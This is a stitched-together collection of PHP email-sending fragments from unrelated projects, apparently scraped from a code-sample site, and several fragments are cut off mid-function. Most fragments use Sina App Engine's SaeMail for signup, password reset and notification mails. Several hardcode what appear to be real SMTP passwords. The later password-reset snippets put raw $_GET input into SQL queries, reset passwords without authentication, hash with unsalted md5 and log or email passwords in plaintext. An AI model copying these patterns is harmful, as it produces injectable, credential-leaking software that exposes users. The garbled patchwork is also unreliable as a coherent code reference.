function send($mail) { $saemail = new SaeMail(); $saemail->setOpt(array('from' => '贴吧签到助手 <' . $this->_get_setting('address') . '>', 'to' => $mail->address, 'smtp_host' => $this->_get_setting('smtp_server'), 'smtp_username' => $this->_get_setting('smtp_name'), 'smtp_password' => $this->_get_setting('smtp_pass'), 'subject' => $mail->subject, 'content' => $mail->message, 'content_type' => 'HTML')); $saemail->send(); return true; }
function handler_sendEmailBefore($mail, &$to, &$subject, &$body) { if (!C("plugin.SMTP.server")) { return; } $saemail = new SaeMail(); $saemail->setOpt(array('content_type' => 'HTML')); $prefix = ''; $tls = false; if (C("plugin.SMTP.auth") == 'ssl') { $prefix = 'ssl://'; $tls = false; //Can't have SSL and TLS at once } elseif (C("plugin.SMTP.auth") == 'tls') { $tls = true; //tls doesn't use a prefix } return $saemail->quickSend($to, $subject, $body, C("plugin.SMTP.username"), C("plugin.SMTP.password"), C("plugin.SMTP.server"), C("plugin.SMTP.port"), $tls); /*$mail->IsSMTP(); $mail->SMTPAuth = true; if (C("plugin.SMTP.auth")) $mail->SMTPSecure = C("plugin.SMTP.auth"); $mail->Host = C("plugin.SMTP.server"); $mail->Port = C("plugin.SMTP.port"); $mail->Username = C("plugin.SMTP.username"); $mail->Password = C("plugin.SMTP.password"); */ }
function SaeMailSendHtml($ToAddress, $Title = '', $HtmlContent = '', $AttachFile = array()) { $mail = new SaeMail(); if (is_array($AttachFile) && $AttachFile !== array()) { $mail->setAttach($AttachFile); } $mail->setOpt(array("content_type" => "HTML")); $result = $mail->quickSend($ToAddress, $Title, $HtmlContent, Sae_Mail_From_Address, Sae_Mail_From_Password); return $result; //示例代码: //var_dump(SaeMailSendHtml('*****@*****.**','标题','<A href="http://www.moonlord.cn">正文</A>',array( '附件.txt' => '这里是附件的二进制数据' , '附件.png' =>file_get_contents("https://www.baidu.com/img/bdlogo.png") ))); }
/** * 快捷发送一封邮件 * @param string $to 收件人 * @param string $sub 邮件主题 * @param string $msg 邮件内容(HTML) * @param array $att 附件,每个键为文件名称,值为附件内容(可以为二进制文件),例如array('a.txt' => 'abcd' , 'b.png' => file_get_contents('x.png')) * @return bool 成功:true 失败:错误消息 */ public static function mail($to, $sub = '无主题', $msg = '无内容', $att = array()) { if (defined("SAE_MYSQL_DB") && class_exists('SaeMail')) { $mail = new SaeMail(); $options = array('from' => option::get('mail_name'), 'to' => $to, 'smtp_host' => option::get('mail_host'), 'smtp_port' => option::get('mail_port'), 'smtp_username' => option::get('mail_smtpname'), 'smtp_password' => option::get('mail_smtppw'), 'subject' => $sub, 'content' => $msg, 'content_type' => 'HTML'); $mail->setOpt($options); $ret = $mail->send(); if ($ret === false) { return 'Mail Send Error: #' . $mail->errno() . ' - ' . $mail->errmsg(); } else { return true; } } else { $From = option::get('mail_name'); if (option::get('mail_mode') == 'SMTP') { $Host = option::get('mail_host'); $Port = intval(option::get('mail_port')); $SMTPAuth = (bool) option::get('mail_auth'); $Username = option::get('mail_smtpname'); $Password = option::get('mail_smtppw'); $Nickname = option::get('mail_yourname'); if (option::get('mail_ssl') == '1') { $SSL = true; } else { $SSL = false; } $mail = new SMTP($Host, $Port, $SMTPAuth, $Username, $Password, $SSL); $mail->att = $att; if ($mail->send($to, $From, $sub, $msg, $Nickname)) { return true; } else { return $mail->log; } } else { $name = option::get('mail_yourname'); $mail = new PHPMailer(); $mail->setFrom($From, $name); $mail->addAddress($to); $mail->Subject = $sub; $mail->msgHTML($msg); $mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; foreach ($att as $n => $d) { $mail->addStringAttachment($d, "=?UTF-8?B?" . base64_encode($n) . "?=", 'base64', get_mime(get_extname($n))); } if (!$mail->send()) { return $mail->ErrorInfo; } else { return true; } } } }
/** * 快捷发送一封邮件 * @param string $to 收件人 * @param string $sub 邮件主题 * @param string $msg 邮件内容(HTML) * @param array $att 附件,每个键为文件名称,值为附件内容(可以为二进制文件),例如array('a.txt' => 'abcd' , 'b.png' => file_get_contents('x.png')) * @return bool 成功:true 失败:错误消息 */ public static function mail($to, $sub = '无主题', $msg = '无内容', $att = array()) { if (defined("SAE_MYSQL_DB") && class_exists('SaeMail')) { $mail = new SaeMail(); $options = array('from' => option::get('mail_name'), 'to' => $to, 'smtp_host' => option::get('mail_host'), 'smtp_port' => option::get('mail_port'), 'smtp_username' => option::get('mail_smtpname'), 'smtp_password' => option::get('mail_smtppw'), 'subject' => $sub, 'content' => $msg, 'content_type' => 'HTML'); $mail->setOpt($options); $ret = $mail->send(); if ($ret === false) { return 'Mail Send Error: #' . $mail->errno() . ' - ' . $mail->errmsg(); } else { return true; } } else { $From = option::get('mail_name'); if (option::get('mail_mode') == 'SMTP') { $Host = option::get('mail_host'); $Port = intval(option::get('mail_port')); $SMTPAuth = (bool) option::get('mail_auth'); $Username = option::get('mail_smtpname'); $Password = option::get('mail_smtppw'); $Nickname = option::get('mail_yourname'); if (option::get('mail_ssl') == '1') { $SSL = true; } else { $SSL = false; } $mail = new SMTP($Host, $Port, $SMTPAuth, $Username, $Password, $SSL); $mail->att = $att; if ($mail->send($to, $From, $sub, $msg, $Nickname)) { return true; } else { return $mail->log; } } else { $header = "MIME-Version:1.0\r\n"; $header .= 'Content-type: text/html; charset=utf-8' . "\r\n"; $header .= "To: " . $to . "\r\n"; $header .= "From: " . $From . "\r\n"; $header .= "Subject: " . $sub . "\r\n"; $header .= 'Reply-To: ' . $From . "\r\n"; $header .= "Date: " . date("r") . "\r\n"; $header .= "Content-Transfer-Encoding: base64\r\n"; return mail($to, $sub, base64_encode($msg), $header); } } }
public function sendMail() { $mailbox = $_POST['mailbox']; $title = $_POST['title']; $content = $_POST['content']; $mail = new SaeMail(); //$mail->setAttach( array("my_photo.jpg" => "照片的二进制数据" )); $ret = $mail->quickSend($mailbox, $title, $content, "*****@*****.**", "jjaazz901222"); $mail->clean(); if ($ret === false) { var_dump($mail->errno(), $mail->errmsg()); } else { // 更新日志 //================= $data['module'] = '后台管理-邮件'; $data['operation'] = '发送邮件:mailbox=' . $mailbox . " title=" . $title; $data['update_user'] = $_SESSION['tennis-user']['id']; $data['ip'] = $this->getIP(); $log = M('operation_log'); $log->add($data); //================= $this->success('发送成功!', '/'); } }
/** * SAE邮件发送函数 * @param string $to 接收邮件者邮箱 * @param string $name 接收邮件者名称 * @param string $subject 邮件主题 * @param string $body 邮件内容 * @param string $attachment 附件列表 * @茉莉清茶 57143976@qq.com */ function sae_mail($to = '', $subject = '', $body = '', $name = '') { if ($to == '') { $to = C('MAIL_SMTP_CE'); //邮件地址为空时,默认使用后台默认邮件测试地址 } if ($name == '') { $name = C('WEB_SITE'); //发送者名称为空时,默认使用网站名称 } if ($subject == '') { $subject = C('WEB_SITE_TITLE'); //邮件主题为空时,默认使用网站标题 } if ($body == '') { $body = C('WEB_SITE_DESCRIPTION'); //邮件内容为空时,默认使用网站描述 } $mail = new SaeMail(); $mail->setOpt(array('from' => C('MAIL_SMTP_USER'), 'to' => $to, 'smtp_host' => C('MAIL_SMTP_HOST'), 'smtp_username' => C('MAIL_SMTP_USER'), 'smtp_password' => C('MAIL_SMTP_PASS'), 'subject' => $subject, 'content' => $body, 'content_type' => 'HTML')); $ret = $mail->send(); return $ret ? true : $mail->errmsg(); //返回错误信息 }
static function SmtpMail($from, $to, $subject, $message, $options = null, $bcc = array()) { /* settings */ if (!isset($options['subjectenc'])) { $options['subjectenc'] = 'UTF-8'; } if (!isset($options['encoding'])) { $options['encoding'] = 'UTF-8'; } if (!isset($options['contentType'])) { $options['contentType'] = 'text/plain'; } if ('UTF-8' != $options['encoding']) { $message = mb_convert_encoding($message, $options['encoding'], 'UTF-8'); } global $INI; /* get from ini */ $host = $INI['mail']['host']; $port = $INI['mail']['port']; $ssl = $INI['mail']['ssl']; $user = $INI['mail']['user']; $pass = $INI['mail']['pass']; $from = $INI['mail']['from']; $reply = $INI['mail']['reply']; $site = $INI['system']['sitename']; //SAE 邮件发送 $ishtml = $options['contentType'] == 'text/html'; if ($ishtml) { $ContentType = 'HTML'; } else { $ContentType = 'TEXT'; } $options = array('to' => $to, 'subject' => $subject, 'content' => $message, 'content_type' => $ContentType, 'smtp_username' => $user, 'smtp_password' => $pass, 'from' => $from); $mail = new SaeMail($options); $ret = $mail->Send(); //发送失败时输出错误码和错误信息 if ($ret === false) { sae_debug($mail->errmsg()); } $mail->clean(); return $ret; /* $subject = self::EscapeHead($subject, $options['subjectenc']); $site = self::EscapeHead($site, $options['subjectenc']); $body = $message; $ishtml = ($options['contentType']=='text/html'); //begin $mail = new PHPMailer(); $mail->IsSMTP(); $mail->CharSet = $options['encoding']; $mail->SMTPAuth = true; $mail->Host = $host; $mail->Port = $port; if ( $ssl=='ssl' ) { $mail->SMTPSecure = "ssl"; } else if ( $ssl == 'tls' ) { $mail->SMTPSecure = "tls"; } $mail->Username = $user; $mail->Password = $pass; $mail->SetFrom($from, $site); $mail->AddReplyTo($reply, $site); foreach($bcc AS $bo) { $mail->AddBCC($bo); } $mail->Subject = $subject; if ( $ishtml ) { $mail->MsgHTML($body); } else { $mail->Body = $body; } $mail->AddAddress($to); return $mail->Send(); */ }
function SendMail($to = '', $subject = '', $body = '') { $mail = new SaeMail(); $ret = $mail->quickSend($to, $subject, $body, SEND_EMAIL, SEND_EMAIL_PWD); if ($ret === false) { return false; } return true; }
function send_sae_mail($to, $title, $content) { $mail = new SaeMail(); $ret = $mail->quickSend($to, $title, $content, "*****@*****.**", "", "smtp.163.com", 25); }
/** * 用内置的邮箱发送邮件 * * $mpid * $subject string * $content string HTML格式 * $to 收件人的邮箱 */ protected function send_email($mpid, $subject, $content, $to) { $features = $this->model('mp\\mpaccount')->getFeatures($mpid); if (!empty($features->admin_email) && !empty($features->admin_email_pwd) && !empty($features->admin_email_smtp)) { $smtp = $features->admin_email_smtp; $port = $features->admin_email_port; $email = $features->admin_email; $pwd = $this->model()->encrypt($features->admin_email_pwd, 'DECODE', $mpid); } else { /** * todo 是否考虑去掉? */ $smtp = 'smtp.163.com'; $port = 25; $email = '*****@*****.**'; $pwd = 'p0o9i8u7'; } if (defined('SAE_MYSQL_DB')) { // sae $mail = new \SaeMail(); if ($mail->setOpt(array('from' => $email, 'to' => $to, 'subject' => $subject, 'content' => $content, 'content_type' => 'HTML', 'smtp_host' => $smtp, 'smtp_port' => $port, 'smtp_username' => $email, 'smtp_password' => $pwd, 'tls' => false))) { if (!$mail->send()) { return '邮件发送错误(' . $mail->errno() . '):' . $mail->errmsg(); } } else { return '邮件参数设置错误(' . $mail->errno() . '):' . $mail->errmsg(); } } else { require_once dirname(dirname(__FILE__)) . '/lib/mail/SmtpMail.php'; $smtp = new \SmtpMail($smtp, $port, $email, $pwd); $smtp->send($email, $to, $subject, $content); } return true; }
public function signup() { if (count($_POST) > 0) { $username = htmlspecialchars($_POST['username']); $email = htmlspecialchars($_POST['email']); $User = M("User"); $condition['name'] = $username; $condition["email"] = $email; $condition["_logic"] = "OR"; $res = $User->where($condition)->select(); if (count($res) > 0) { $this->assign("error_message", "该用户已存在,请登录"); $this->display('index'); } else { $data['name'] = htmlspecialchars($_POST['username']); $data['email'] = htmlspecialchars($_POST['email']); $data['password'] = md5(htmlspecialchars($_POST['password'])); $data['token'] = md5($_POST['username'] . $_POST['email'] . $_POST['password']); $phptime = time(); $mysqltime = date("Y-m-d H:i:s", $phptime); $data['time'] = $mysqltime; $data['status'] = '0'; $res = $User->add($data); $mail = new SaeMail(); $token = $data['token']; if (IS_SAE) { # code... $mail_body = "亲爱的" . $username . ":感谢您在我站注册了新账号。http://cruise.sinaapp.com/index.php/Index/verify?token=" . $token; } else { $mail_body = "亲爱的" . $username . ":感谢您在我站注册了新账号。http://www.sae.com/index.php/Index/verify?token=" . $token; } $ret = $mail->quickSend($data['email'], 'Photo 注册验证', $mail_body, '*****@*****.**', 'sxs@19901202'); if ($ret === false) { var_dump($mail->errno(), $mail->errmsg()); } else { //echo "邮件发送成功,请更改源码,将邮箱改为自己的测试"; $logincookie = md5($_POST['username'] . $_POST['password']); $domain = $_SERVER['HTTP_HOST'] != 'localhost' ? $_SERVER['HTTP_HOST'] : false; setcookie('login', $logincookie, time() + 60 * 60 * 24 * 365, '/', $domain, false); $stat = M("stat"); $res = $User->where($condition)->limit(1)->select(); $_SESSION['uid'] = $res[0]['uid']; $data['uid'] = $res[0]['uid']; $data['cookie'] = $logincookie; $data['status'] = "login"; $stat->add($data); $this->assign('error_message', "注册成功,请登录"); $this->assign('signup', 0); $this->redirect('Photo/index', '', 0, ''); //$this->display('index'); } } } else { $_global_arr['signup'] = 1; $this->assign('signup', 1); $this->display('index'); } }
$chr = $options[$index]; // 随机数作为 $pass 的一部分 $pass .= $chr; $lastIndex = $lastIndex - 1; // 最后一个索引将不会参与下一次随机抽奖 $options[$index] = $options[$lastIndex]; } } //生成新的密码 $focus = new Users(); $new_password = $focus->encrypt_password($pass); $user_hash = strtolower(md5($pass)); //change pwd to new pwd $query = "UPDATE ec_users SET user_password='******', user_hash='{$user_hash}' where id='{$id}'"; $adb->query($query); $mail = new SaeMail(); $subject = "找回密码"; $content = "尊敬的用户,您好,易客CRM已经收到您的找回密码请求,现已将您的密码重置为:" . $pass . ",请重新登录后修改."; global $log; $log->info($content); $from_email = "*****@*****.**"; $pwd = "c3crm321"; $server_name = "smtp.sina.com"; $server_port = "25"; $ret = $mail->quickSend($user_name, $subject, $content, $from_email, $pwd, $server_name, $server_port); if ($ret === false) { $errMsg = $mail->errmsg(); die; } else { echo '发送成功'; die;
$mbody[1] = '今天是' . $json['weatherinfo']['date_y'] . '' . $json['weatherinfo']['week']; $mbody[2] = '1天后:' . $json['weatherinfo']['temp1'] . ' ' . $json['weatherinfo']['weather1'] . ' ' . $json['weatherinfo']['wind1'] . $json['weatherinfo']['fl1']; $mbody[3] = '2天后:' . $json['weatherinfo']['temp2'] . ' ' . $json['weatherinfo']['weather2'] . ' ' . $json['weatherinfo']['wind2'] . $json['weatherinfo']['fl2']; $mbody[4] = '3天后:' . $json['weatherinfo']['temp3'] . ' ' . $json['weatherinfo']['weather3'] . ' ' . $json['weatherinfo']['wind3'] . $json['weatherinfo']['fl3']; $mbody[5] = '4天后:' . $json['weatherinfo']['temp4'] . ' ' . $json['weatherinfo']['weather4'] . ' ' . $json['weatherinfo']['wind4'] . $json['weatherinfo']['fl4']; $mbody[6] = '5天后:' . $json['weatherinfo']['temp5'] . ' ' . $json['weatherinfo']['weather5'] . ' ' . $json['weatherinfo']['wind5'] . $json['weatherinfo']['fl5']; $mbody[7] = '6天后:' . $json['weatherinfo']['temp6'] . ' ' . $json['weatherinfo']['weather6'] . ' ' . $json['weatherinfo']['wind6'] . $json['weatherinfo']['fl6']; $mbody[17] = '微博:' . '淡淡清香弥漫世界'; $mopt['from'] = '用户名密码@gmail.com'; $mopt['smtp_host'] = 'smtp.gmail.com'; $mopt['smtp_port'] = 587; $mopt['smtp_username'] = '******'; $mopt['smtp_password'] = '******'; $mopt['subject'] = $json['weatherinfo']['city'] . '天气预报'; $mopt['content'] = $mbody[1] . '<br />' . $mbody[2] . '<br />' . $mbody[3] . '<br />' . $mbody[4] . '<br />' . $mbody[5] . '<br />' . $mbody[6] . '<br />' . $mbody[7] . '<br />' . $mbody[17]; $mopt['content_type'] = 'HTML'; $mopt['tls'] = true; $mopt['to'] = $row['Email']; $fh[0] = 0; $fh[1] = 0; $mail = new SaeMail(); $mail->setOpt($mopt); $mail->send(); $fh[0] = $fh[0] + 1; $fh[1] = $fh[1] + 1; } else { $fh[1] = $fh[1] + 1; } } mysql_close($con); echo '数量:' . $fh[0] . '/' . $fh[1];
/** * Send mail method */ public static function sendMail($email, $subject, $message) { //发送邮件 $adminEmail = Yii::app()->params['adminEmail']; $adminEmail = '*****@*****.**'; $smtp_host = "smtp.sina.com"; $smtp_username = '******'; $smtp_password = '******'; /* $mail->quickSend( "*****@*****.**" , "邮件标题" , "邮件内容" , "*****@*****.**" , "yiiforsae" ); */ if (defined('SAE_TMP_PATH')) { $mail = new SaeMail(); $rs = $mail->quickSend($email, $subject, $message, $smtp_username, $smtp_password); return $rs; } $mail = Yii::app()->mailer; $mail->SetLanguage('zh_cn'); $mail->IsSMTP(); // set mailer to use SMTP $mail->Host = $smtp_host; // specify main and backup server $mail->SMTPAuth = true; // turn on SMTP authentication $mail->Username = $smtp_username; // SMTP username $mail->Password = $smtp_password; // SMTP password $mail->CharSet = 'utf-8'; #$mail->Port = 465; $mail->From = $adminEmail; $mail->FromName = 'admin'; $mail->AddReplyTo($adminEmail); $mail->AddAddress($email); $mail->Subject = $subject; $mail->Body = $message; $rs = $mail->Send(); return $rs; $adminEmail = Yii::app()->params['adminEmail']; $headers = "MIME-Version: 1.0\r\nFrom: {$adminEmail}\r\nReply-To: {$adminEmail}\r\nContent-Type: text/html; charset=utf-8"; $message = wordwrap($message, 70); $message = str_replace("\n.", "\n..", $message); return mail($email, '=?UTF-8?B?' . base64_encode($subject) . '?=', $message, $headers); }
public function verify() { $res = array(); $res['Success'] = false; $str = ''; $project = new Project(); $project->setValue($this->ProjectId); if ($this->Action > 0) { $keys = array(); //邮件设置 $verifyUrl = URL_WEBSITE . "/basic/project_detail.php?id=" . $project->Id . "&selected=2"; switch ($project->Status) { case 1: if ($this->Action == 1) { $project->Status = 2; $str = '需求审核通过;'; //设置发送邮件 $user = new User(); $userMode = $user->getModel($project->UserId); if (!empty($userMode['Email'])) { //发送邮件操作 $keys['to'] = $userMode['Email']; $keys['cc'] = "*****@*****.**"; $keys['from'] = "*****@*****.**"; $keys['smtp_port'] = "25"; $keys['smtp_username'] = "******"; $keys['smtp_password'] = "******"; $mailsubject = "您的技术开发需求已通过事业部审核:" . $project->Subject; $mailbody = "Dear " . $userMode['Name']; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "您好,您提交的技术开发需求,已经通过事业部审核。接下来的环节是技术部的审核。详情请点击:"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "<a href='" . $verifyUrl . "'>" . $verifyUrl . "</a>"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "——深圳尚道微营销有限公司 技术中心"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "该邮件由“技术开发管理平台”系统发出,无需回复。"; $keys['subject'] = $mailsubject; $keys['content'] = $mailbody; $keys['content_type'] = 'HTML'; $keys['smtp_host'] = "smtp.qq.com"; } } else { $project->Status = 18; $str = '需求驳回;'; //设置发送邮件 $user = new User(); $userMode = $user->getModel($project->UserId); if (!empty($userMode['Email'])) { //发送邮件操作 $keys['to'] = $userMode['Email']; $keys['from'] = "*****@*****.**"; $keys['smtp_port'] = "25"; $keys['smtp_username'] = "******"; $keys['smtp_password'] = "******"; $mailsubject = "您的技术开发需求已被驳回:" . $project->Subject; $mailbody = "Dear " . $userMode['Name']; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "您好,您提交的技术开发需求,事业部审核不通过,已被驳回。详情请点击:"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "<a href='" . $verifyUrl . "'>" . $verifyUrl . "</a>"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "——深圳尚道微营销有限公司 技术中心"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "该邮件由“技术开发管理平台”系统发出,无需回复。"; $keys['subject'] = $mailsubject; $keys['content'] = $mailbody; $keys['content_type'] = 'HTML'; $keys['smtp_host'] = "smtp.qq.com"; } } break; case 2: if ($this->Action == 1) { $project->Status = 3; $str = '开发审核通过;'; $project->Developer = $this->Developer; $developer = new Developer(); //单独设置开发人员 //$this->DeveloperIds; //删除原来的。 $developer->deleteByProjectId($project->Id); //分割插入 $arrIds = explode(' ', $this->DeveloperIds); for ($i = 0; $i < count($arrIds); $i++) { $developer->ProjectId = $project->Id; $developer->UserId = $arrIds[$i]; if (empty($developer->UserId)) { continue; } $developer->add(); } //设置发送邮件 $user = new User(); $userMode = $user->getModel($project->UserId); if (!empty($userMode['Email'])) { //发送邮件操作 $keys['to'] = $userMode['Email']; $keys['from'] = "*****@*****.**"; if ($project->Department == 101) { //大客户事业部需要抄送 $keys['cc'] = 'ericzhang@thindov.com,orien.young@thindov.com,endertan@thindov.com,sauwe@qq.com'; } $keys['smtp_port'] = "25"; $keys['smtp_username'] = "******"; $keys['smtp_password'] = "******"; $mailsubject = "您的技术开发需求已通过技术部审核:" . $project->Subject; $mailbody = "Dear " . $userMode['Name']; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "您好,您提交的技术开发需求,已经通过技术部审核。本次开发对接人为:" . $this->Developer . ",如有疑问,可与其联系。接下来是设计环节,客户确认好设计稿之后,请及时到以下链接更新项目状态:"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "<a href='" . $verifyUrl . "'>" . $verifyUrl . "</a>"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "——深圳尚道微营销有限公司 技术中心"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "该邮件由“技术开发管理平台”系统发出,无需回复。"; $keys['subject'] = $mailsubject; $keys['content'] = $mailbody; $keys['content_type'] = 'HTML'; $keys['smtp_host'] = "smtp.qq.com"; } } else { $project->Status = 19; $str = '开发需求驳回;'; //设置发送邮件 $user = new User(); $userMode = $user->getModel($project->UserId); if (!empty($userMode['Email'])) { //发送邮件操作 $keys['to'] = $userMode['Email']; $keys['from'] = "*****@*****.**"; $keys['smtp_port'] = "25"; $keys['smtp_username'] = "******"; $keys['smtp_password'] = "******"; $mailsubject = "您的技术开发需求已被驳回:" . $project->Subject; $mailbody = "Dear " . $userMode['Name']; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "您好,您提交的技术开发需求,技术部审核不通过,已被驳回。详情请点击:"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "<a href='" . $verifyUrl . "'>" . $verifyUrl . "</a>"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "——深圳尚道微营销有限公司 技术中心"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "该邮件由“技术开发管理平台”系统发出,无需回复。"; $keys['subject'] = $mailsubject; $keys['content'] = $mailbody; $keys['content_type'] = 'HTML'; $keys['smtp_host'] = "smtp.qq.com"; } } break; case 3: if ($this->Action == 1) { $project->Status = 4; $str = '客户已确认设计稿;'; //设置发送邮件 //发送邮件操作 $keys['to'] = '*****@*****.**'; $keys['from'] = "*****@*****.**"; $keys['smtp_port'] = "25"; $keys['smtp_username'] = "******"; $keys['smtp_password'] = "******"; $mailsubject = "设计稿客户已经确认:" . $project->Subject; $mailbody = "Dear " . $userMode['Name']; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "您好,设计已经完成,可进入开发阶段。详情请点击:"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "<a href='" . $verifyUrl . "'>" . $verifyUrl . "</a>"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "——深圳尚道微营销有限公司 技术中心"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "该邮件由“技术开发管理平台”系统发出,无需回复。"; $keys['subject'] = $mailsubject; $keys['content'] = $mailbody; $keys['content_type'] = 'HTML'; $keys['smtp_host'] = "smtp.qq.com"; } break; case 4: if ($this->Action == 1) { $project->Status = 5; $str = '开发已完成;'; //设置发送邮件 $user = new User(); $userMode = $user->getModel($project->UserId); if (!empty($userMode['Email'])) { //发送邮件操作 $keys['to'] = $userMode['Email']; $keys['from'] = "*****@*****.**"; if ($project->Department == 101) { //大客户事业部需要抄送 $keys['cc'] = 'ericzhang@thindov.com,orien.young@thindov.com,endertan@thindov.com,sauwe@qq.com'; } $keys['smtp_port'] = "25"; $keys['smtp_username'] = "******"; $keys['smtp_password'] = "******"; $mailsubject = "您提交的技术开发需求,已经开发完成:" . $project->Subject; $mailbody = "Dear " . $userMode['Name']; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "您好,您提交的技术开发需求,技术已开发完成,可以进入测试阶段。请安排人协助测试验收。如有问题请及时反馈给相关开发人员。测试完毕,请到以下链接及时更改为上线状态:"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "<a href='" . $verifyUrl . "'>" . $verifyUrl . "</a>"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "——深圳尚道微营销有限公司 技术中心"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "该邮件由“技术开发管理平台”系统发出,无需回复。"; $keys['subject'] = $mailsubject; $keys['content'] = $mailbody; $keys['content_type'] = 'HTML'; $keys['smtp_host'] = "smtp.qq.com"; } } break; case 5: if ($this->Action == 1) { $project->Status = 6; $str = '测试已完成;'; //设置发送邮件 $user = new User(); $userMode = $user->getModel($project->UserId); if (!empty($userMode['Email'])) { //发送邮件操作 $keys['to'] = $userMode['Email'] . ';sauweweng@thindov.com'; if ($project->Department == 101) { //大客户事业部需要抄送 $keys['cc'] = 'ericzhang@thindov.com,orien.young@thindov.com,endertan@thindov.com,sauwe@qq.com'; } $keys['from'] = "*****@*****.**"; $keys['smtp_port'] = "25"; $keys['smtp_username'] = "******"; $keys['smtp_password'] = "******"; $mailsubject = "测试已经完成,活动已上线:" . $project->Subject; $mailbody = "Dear " . $userMode['Name']; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "您好,测试已经完成,活动已经上线。请在活动结束时及时到以下链接更新状态,并做效果的总结登记:"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "<a href='" . $verifyUrl . "'>" . $verifyUrl . "</a>"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "——深圳尚道微营销有限公司 技术中心"; $mailbody .= "<br />"; $mailbody .= "<br />"; $mailbody .= "该邮件由“技术开发管理平台”系统发出,无需回复。"; $keys['subject'] = $mailsubject; $keys['content'] = $mailbody; $keys['content_type'] = 'HTML'; $keys['smtp_host'] = "smtp.qq.com"; } } break; case 6: if ($this->Action == 1) { $project->Status = 7; $str = '项目已经结束;'; } break; } $project->update(); } else { $project->Developer = $this->Developer; $developer = new Developer(); //单独设置开发人员 //$this->DeveloperIds; //删除原来的。 $developer->deleteByProjectId($project->Id); //分割插入 $arrIds = explode(' ', $this->DeveloperIds); for ($i = 0; $i < count($arrIds); $i++) { $developer->ProjectId = $project->Id; $developer->UserId = $arrIds[$i]; if (empty($developer->UserId)) { continue; } $developer->add(); } $project->update(); } $memo = new Memo(); $memo->ProjectId = $this->ProjectId; $memo->CreateTime = date('Y-m-d H:i:s'); $memo->Memo = $str . $this->Memo; $memo->UserId = $_SESSION['userid']; $result = $memo->add(); if ($result > 0) { $res['Success'] = true; $res['Message'] = "保存成功"; $res['Memo'] = $memo->Memo; $res['Name'] = $_SESSION['username']; $res['CreateTime'] = $memo->CreateTime; $res['NewId'] = $result; $res['Status'] = $project->Status; //发送邮件 $mail = new SaeMail(); $mail->setOpt($keys); $ret = $mail->send(); //if ($ret === false) //var_dump($mail->errno(), $mail->errmsg()); $mail->clean(); } else { $res['Success'] = false; $res['Message'] = "操作失败,请联系技术部"; } echo json_encode($res); exit; }
} } } else { echo 'nofound'; }*/ require 'dblink.php'; header("Content-Type: text/html; charset=utf-8"); $toaddress = $_GET['address']; $content = $_GET['content']; $newpass = $_GET['newpass']; $sql = "select mail from buser where mail='{$toaddress}'"; $nsql = "update buser set password='******' where mail='{$toaddress}'"; $te = new dblink(); $mail = new SaeMail(); $findconf = array('from' => '*****@*****.**', 'to' => $toaddress, 'smtp_host' => 'smtp.qq.com', 'smtp_port' => 25, 'smtp_username' => '*****@*****.**', 'smtp_password' => 'mail1993', 'subject' => '课程助手密码找回', 'content' => '<b>欢迎使用课程助手:</b><hr>你正在进行课程助手用户密码找回操作,验证码为:<font color="#ff0000">' . $content . '</font>,如非本人操作,那么你就可以忽略此邮件了啦。<br/><br/>课程助手<br/><a href="http://simplesky.sinaapp.com">http://simplesky.sinaapp.com</a>', 'content_type' => 'HTML', 'nickname' => '课程助手'); $updateconf = array('from' => '*****@*****.**', 'to' => $toaddress, 'smtp_host' => 'smtp.qq.com', 'smtp_port' => 25, 'smtp_username' => '*****@*****.**', 'smtp_password' => 'mail1993', 'subject' => '课程助手密码重置成功', 'content' => '<b>欢迎使用课程助手:</b><hr>你的课程助手用户密码已经成功重置了啦。<br/><br/>课程助手<br/><a href="http://simplesky.sinaapp.com">http://simplesky.sinaapp.com</a>', 'content_type' => 'HTML', 'nickname' => '课程助手'); if (count($te->dbquery($sql)) != 0) { if ($newpass == null) { $mail->setOpt($findconf); $re = $mail->send(); if (!$re) { echo 'fail'; } else { echo "ok"; } } else { if (is_array($te->dbquery($nsql))) { echo 'updateok'; $mail->setOpt($updateconf);
